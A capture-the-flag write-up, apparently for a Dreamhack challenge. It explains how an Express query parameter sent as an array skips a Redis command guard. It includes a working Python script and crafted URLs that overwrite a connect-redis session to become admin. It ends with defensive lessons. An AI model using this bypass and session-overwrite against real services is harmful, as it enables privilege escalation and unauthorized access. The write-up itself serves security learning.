The Goal

/flag only talks to admins, and sessions live in Redis via connect-redis:

app.get('/flag', function(req, res) {
    if (req.session.userid === "admin") {
        res.send(FLAG)
    } else {
        res.send('hello ' + req.session.userid);
    }
});

We can log in as guest, but the db has no route to admin (its password is unknown). We need to promote our own session.

The Weird Log Endpoint

/show_logs proxies a command to Redis, but tries very hard to force it to be a read:

app.get('/show_logs', function(req, res) {
    var log_query = req.query.log_query;
    try {
        log_query = log_query.split('/');
        if (log_query[0].toLowerCase() != 'get') {
            log_query[0] = 'get';                 // force GET
        }
        log_query[1] = log_query.slice(1)
    } catch (err) {
        // swallowed
    }
    try {
        redis_client.send_command(log_query[0], log_query[1], function(err, result) {
            err ? res.send('ERR') : res.send(result);
        })
    } catch (err) {
        res.send('try /show_logs?log_query=get/log_info')
    }
});

send_command(cmd, args) runs any Redis command, but the first try block rewrites log_query[0] to get unless it already is. That guard is the only thing stopping us from issuing SET.

Breaking the Guard with an Array

Express parses ?log_query[0]=set&log_query[1][0]=... into an array/object, not a string. And arrays have no .split(). So the very first line, log_query.split('/'), throws immediately. The exception is swallowed, and the entire GET-forcing block is skipped. log_query reaches send_command exactly as we supplied it.

That hands us arbitrary Redis commands. First confirm with keys *:

http://host/show_logs?log_query[0]=keys&log_query[1][0]=*

Overwriting the Session

connect-redis stores each session as a JSON string under sess:<sid>. Our guest session has "userid":"guest"; we just overwrite it with "userid":"admin" using a SET:

import requests, urllib.parse

domain = "http://host1.dreamhack.games:15602"
s = requests.Session()

# 1) login as guest to obtain connect.sid
s.get(domain + "/login?userid=guest&userpw=guest")
raw = s.cookies.get("connect.sid")               # s%3A<sid>.<sig>
sid = raw.split('.')[0].replace("s%3A", "")
redis_key = f"sess:{sid}"

# 2) SET our session's userid to admin via the array-param bypass
admin_sess = '{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}'
s.get(domain + "/show_logs?"
      "log_query[0]=set&"
      f"log_query[1][0]={urllib.parse.quote(redis_key)}&"
      f"log_query[1][1]={urllib.parse.quote(admin_sess)}")

# 3) our cookie now maps to an admin session
print(s.get(domain + "/flag").text)

Because we edited the session store, our unchanged connect.sid cookie now resolves to userid == "admin", and /flag hands over the flag:

sess:u-G0SXQJmBi_Pb6y5D1CMUCMBHc8l_zA
DH{REDACTED}

Takeaways

Two classic Node footguns combine here. First, Express query parsing lets a client choose the type of a parameter (x[0]=... becomes an array), so any code that assumes a string (.split, .toLowerCase) can be derailed into a thrown-and-swallowed exception that skips a security check. Always validate parameter types. Second, send_command with user-influenced command names is RCE-adjacent: a read-only intent enforced by a fragile if is no defense. Whitelist the exact command, and never let session-store keys be writable through a user-facing proxy.